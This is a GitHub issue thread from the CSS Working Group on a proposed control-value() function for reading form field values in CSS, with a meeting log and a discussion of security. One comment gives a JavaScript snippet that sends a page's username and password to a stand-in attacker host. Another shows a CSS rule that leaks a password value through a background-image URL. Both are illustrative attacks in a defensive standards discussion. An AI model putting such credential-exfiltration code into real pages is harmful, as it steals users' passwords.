-
Notifications
You must be signed in to change notification settings - Fork 717
[css-forms-1] control-value()
function
#7869
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
value()
function
Concern: if the value can be concatenated with strings/urls, then this would make it easier for attackers to exfiltrate information. See #5136 |
@Loirooriol Couldn't attackers do that in the console by simply using I'm also not so sure this would be easier than using JS for such attacks. I really appreciate your feedback, and I'd love to keep discussing it to find an implementation/spec that's as safe and as it is powerful. |
Not attackers with physical access that can use the console. I mean attackers that use XSS or something to insert malicious third-party CSS into a legitimate website. And sure, if the attacker can inject JS then it will be trivial, but typically there are more protections against JS injection than against CSS injection. Just mentioning this since some concerns were already raised about |
@Loirooriol Yeah, it's a valid concern. I think it would be worth having a larger conversation about protecting against that before implementing a feature like this. I don't think we necessarily need to protect against injected styles/scripts from browser extensions, since those generally have local access to the console. However, maybe we can block outside style-injection attacks like that under the same umbrella of XSS security. |
value()
functionvalue()
function
Apologies, but I don't understand how your example is intended to work. You're using attr() and value() on the input itself to set some custom properties, but these properties are only visible to the input itself (and its pseudo-elements). But then you try to use those properties on a span elsewhere in the DOM, with no way for it to see the input's values for the properties. Ohhh, I see you're using your other idea for a "global" variable that resolves its value to the most specific rule setting it and is then visible to the entire page. Without that, are there still reasonable use-cases for this? |
@tabatkins Hi Tab, yes, sorry— I didn't call out the related issue #7866 very "loudly" in my brief, so it could easily have been missed. My apologies for that. Without that, there are use cases for the element itself and pseudos as you said, but no, the real value (ha) here would likely source from the value being exposed via the sort of change proposed in #7866. Thanks for thinking through this. Not sure if there's a way to press pause on this issue until the other is resolved or until this otherwise makes sense 🤷🏻♂️ |
As mentioned above, this raises security concerns similar to the ones described in web-platform-tests/interop#86 (comment) Specifically, this would allow CSS injections to steal sensitive secrets from the DOM, even in situations where such injections are prohibited from executing scripts due to Content Security Policy restrictions. An additional aspect is that, as proposed, this would also allow the leaking of |
@arturjanc Couldn't a script that has access to injecting elements already perform a similar attack like this? const maliciousPasswordSender = document.createElement('img');
maliciousPasswordSender.width = 1;
maliciousPasswordSender.height = 1;
maliciousPasswordSender.style.position = 'fixed';
maliciousPasswordSender.style.bottom = 0;
maliciousPasswordSender.style.right = 0;
document.body.append(maliciousPasswordSender);
const username = () => document.getElementById('username');
const passwordField = document.querySelector('[type="password"]');
passwordField.addEventListener('change', () => {
const baseUrl = 'http://houseofcybercrime.com/stashpass';
maliciousPasswordSender.src = `${baseUrl}?user=${username.textContent}&password=${passwordField.value};
}) I do acknowledge the vulnerability you're pointing out; I'm just trying to understand how that is more insecure than what is already in place. Perhaps for this case specifically, what could help here to avoid any additional security vulnerabilities with |
|
A script by definition has full same-origin access to the data in the origin of the application which executes the script. A stylesheet, while still quite powerful, is much more limited in the data it can access. When we increase the capabilities of CSS, we need to take into account how these capabilities will affect existing websites -- this is where concerns around the effect on content passed through CSS sanitizers or the potential for Content Security Policy bypasses come in. Limiting |
Yeah, I'm all for that! With that in mind, maybe this could actually work using something as simple as a special HTML attribute that browsers will require elements to have in order to execute either CSS |
Circling back to this as it's been a while since the last activity. Are there any steps I can take to push this proposal forward, along with its related dependency #7866? |
From a security perspective the approach we talked about above would likely make this okay, so this probably boils down to whether CSS editors support this proposal and if there's implementer interest in making it happen. |
There is a |
value()
functioncontrol-value()
function
@nt1m Thanks. I think it would be helpful if This would be extremely helpful for certain input types like An argument for
|
There is: #11842 about type conversion. Matching I'm going to add this issue on the agenda to make sure we get a formal resolution on adding the |
@nt1m Sounds good, thanks. I do see the value in having the shorthand This is probably a one-off exception case, where a unit-less |
The CSS Working Group just discussed
The full IRC log of that discussion<TabAtkins> ntim: a problem devs often ahve is they want to refer to the value insdie a range or text input<TabAtkins> ntim: for range input, you see a bubble with a number in it following the thumb <TabAtkins> ntim: in the current Forms draft there's a control-value() function <TabAtkins> ntim: syntax is draft-y, i think we can match attr() <TabAtkins> ntim: i'm hoping to get a formal resolution <TabAtkins> q+ <lea> q+ <TabAtkins> ntim: and maybe we want to think about the problem of, do we want to scope this to the control itself, or allow other elements to refer to the values of other elements <TabAtkins> ntim: havne't thought too mucha bout that yet <astearns> ack TabAtkins <lea> TabAtkins: I think we should add this. Few details that I listed. Control value is just as dangerous as `attr()` but should be solvable the same way, just repeat the same handling <lea> TabAtkins: 2. I don't think we should exactly match the attr() syntax, we're not doing arbitrary parsing of an unknown string, we have a well-known value coming from the control <lea> TabAtkins: getting it as a string is always useful, getting it as a number also useful <lea> TabAtkins: other than that, I think it's a good idea and we should do it <TabAtkins> ntim: i agree we should let people switch the types. might want it as a number to use in a calc() to set a width <astearns> ack lea <TabAtkins> lea: also agree we should do it <TabAtkins> lea: how do web components hook into this for their own values? <TabAtkins> lea: and also, we do want it to inherit in some way. the tooltip of a slider often shows the slider value. so how does that work if it's only on the slider itself. <TabAtkins> TabAtkins: if it's a pseudo-element it's fine, they refer to the main element <kbabbitt> q+ <TabAtkins> lea: yeah but that doesn't solve a custom element <TabAtkins> ntim: yup, pseudo-elements get you part of the way, but not all the wya <TabAtkins> lea: if it resolves at the right time it's not insumoutable <TabAtkins> ntim: how does inheritance work? <TabAtkins> ntim: you'd need to get the value out of the slider and pull it up? <TabAtkins> TabAtkins: yeah that's hard <kizu> anchor positioning and scroll-driven animations :) <astearns> ack dbaron <TabAtkins> ntim: the separate element reference can be another issue <TabAtkins> dbaron: there was some discussion of security restrictions in the bug, wanted to make sure it's not list <TabAtkins> TabAtkins: yeah, i mentioned it should be the same as attr() <astearns> ack kbabbitt <TabAtkins> ntim: yup, to avoid exfiltration into a url <dbaron> s/list/lost/ <TabAtkins> kbabbitt: i was also thinking about security issue here. wondering if it has to be stronger than attr(), like using it on a password input <TabAtkins> kbabbitt: i don't know if attr() already addresses this <TabAtkins> TabAtkins: it should, the attr() restriction prevents any value produced by it to be used in a url <TabAtkins> astearns: so it sounds like we're just asking for waht's in the draft to be blessed? <TabAtkins> ntim: yeah <TabAtkins> astearns: proposed resolution: control-value() as described in the draft looks reasonable <TabAtkins> RESOLVED: Accept control-value() as described in the draft (with subsequent edits) <TabAtkins> dbaron: also wanted to point out there's proposals to have selectors that depend on control values |
Just for the record, as a selector counterpart to this, I suggested to introduce ”pseudo attributes“ way back in #354: |
The security aspects of this seems to be only very lightly covered in the WG’s discussion. There is a huge difference between So using Introducing something like input[type="password"][:value="Password1!"] {
background-image: url("https://example.org/password-stealer/Password1!");
} |
No, the security concerns are identical, because we were already considering the possibility of a content attribute containing sensitive information. That is, the possibility of exfiltrating a This is why the security was only "lightly covered" in the discussion - the issue had already been solved adequately in attr() and we're just using the same solution, since the information being exposed is identical in attack value.
Yes, security issues are a significant blocker for that selector. That has nothing to do with the design of |
Ok, then we're on the same page here. I asked because I saw no mention of something similar to attr()-tainting in the meeting notes. |
I really appreciate everyone's thoughts in discussing this. @Crissov I really like the pseudo attributes you proposed in #354, especially those for numeric comparisons (e.g. @tabatkins (and others, here) I would love to hear any feedback you have my previous comment's points
|
Not convinced we should do the selector counterpart of this fyi, I don't really see any convincing use cases. It doesn't address the scoping use case either fwiw.
CSS has no concept of coercing CSS values into booleans right now. All the current booleans are either selectors, numerical or equality comparisons. |
@nt1m I think those are fair points and would definitely be worth posing in their respective tickets.
I shouldn't have brought up the |
We have some other property-specific custom-idents with adjustable scope, right? Things like |
Presumably, but I'd first like to see how many of the use-cases |
Let's close this issue and move further discussion to new issues. |
Uh oh!
There was an error while loading. Please reload this page.
The problem
CSS doesn't yet have a way to retrieve the
value
property for an input/select/textarea/etc or to use/reuse those values in any useful way since we can't pass values up the cascade and form field elements generally (ever?) don't have descendant elements.It's possible to set the
value
attribute on a form field but not to use the updated value of that field once it's been changed via user input. often the case that when the value of that field changes, the attribute itself remains the same, standing more so as a reference to the field's initial value than an indicator of its "live" value.In other words, without using JS, access to a field's value is impossible.
Description of the proposal
I propose adding a
value()
function which returns the active or "live" value of any value-holding element, namely form fields. The syntax would be fairly similar to the existing & futureattr()
syntax.Background
As mentioned in "The problem" section above, since we can't pass values up the cascade and form field elements don't have descendant elements, in order for this function to be useful, it needs a way to expose these values in such a way that they can be re-used throughout the cascade, even in other areas not neighboring the fields themselves.
For this reason, this issue should be treated as a stacked issue atop #7866
Issue #7866 provides a way for any CSS values to be stored at a global scope and be re-used as needed.
Syntax
Usage
The single syntax argument would be optional, equipping a developer to set the intended syntax for the result, where leaving it empty would use the field's intrinsic syntax.
For example, using…
value(number)
orvalue()
oninput[type="number"]
orinput[type="range"]
would result in a number value, sincenumber
is the intrinsic syntax for those input typesvalue(string)
oninput[type="number"]
orinput[type="range"]
would result in the field's value but parsed as a string which could then be used anywhere a string could be used (e.g. thecontent
property of a pseudo-element)value(string)
orvalue()
on any of the following types would result in a string/text value, since that is the intrinsic and intended syntax for those input typesinput[type="text"]
input[type="email"]
input[type="tel"]
input[type="search"]
input[type="url"]
input[type="radio"]:checked
input[type="checkbox"]:checked
select > option:selected
textarea
value(number)
on any of these ☝🏼 however would result in the field's value parsed as a number. In any case where that numeric parsing fails, that declaration is ignored and skipped. When the pasring succeeds, the number returned can be used anywhere a number would normally be accepted.value(color)
orvalue()
oninput[type="color"]
would result in a color value, sincecolor
is the intrinsic syntax for that input typesConsiderations
select
,checkbox
, andradio
button values, but after giving it more thought, I think those should work as desired naturally. The key difference—as mentioned in the "Usage" examples above—is that a developer should store the value for the active (:checked
or:selected
) field itself, not just allselect
/checkbox
/radio
fields, like this:MutationObserver.observe
,value
changes would likely be more appropriately tracked using theinput
andchange
events.A more complete example
How might this look in practice?
This example demonstrates how you might use
value()
paired withattr()
and global variables to take a range input's value, min, and max values and create a label and makeshift progress bar using them, all done using only CSS.This is just one example, and many more could be made, and I have no doubt I'll create several more as I continue to iterate on this concept and work toward a viable implementation.
The text was updated successfully, but these errors were encountered: